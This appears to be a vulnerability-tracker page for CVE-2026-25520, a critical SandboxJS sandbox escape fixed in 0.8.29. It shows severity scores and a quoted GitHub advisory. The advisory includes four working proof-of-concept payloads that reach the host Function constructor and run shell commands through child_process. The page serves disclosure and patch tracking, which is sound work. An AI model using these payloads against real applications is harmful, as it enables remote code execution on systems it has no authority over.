CVE-2026-25520

criticalpriority · track · 0EPSS 0.009 · 59 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.89% (59th) EPSS
CVSS 10 · critical
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-22

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.

01

cvss

Technical severity, 0–10. One row per scoring source.

10.0
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 6
v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · OSV
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-58jh-xv4v-pcx4@nyariv/sandboxjs has a Sandbox Escape issue2026-02-05ghsa · osvUS

    ### Summary The return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox. ### Details The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. ### PoC ```js const s = require('@nyariv/sandboxjs').default; const sb = new s(); payload = ` console.log( Object.values(this).at(0)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` console.log( Object.entries(this)[0].at(1)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` console.log( Object.entries(this) .at(0) .map((f) => { if (typeof f === 'function') { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); } }), ); ` sb.compile(payload)().run(); ``` ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` const t = (f) => { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); }; console.log(t.call(...Object.entries(this)[0])); ` sb.compile(payload)().run(); ``` ### Impact Sanbox Escape -> RCE

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-02-06modified 2026-06-17
08

references (8)

External citations — patches, advisories, analysis.

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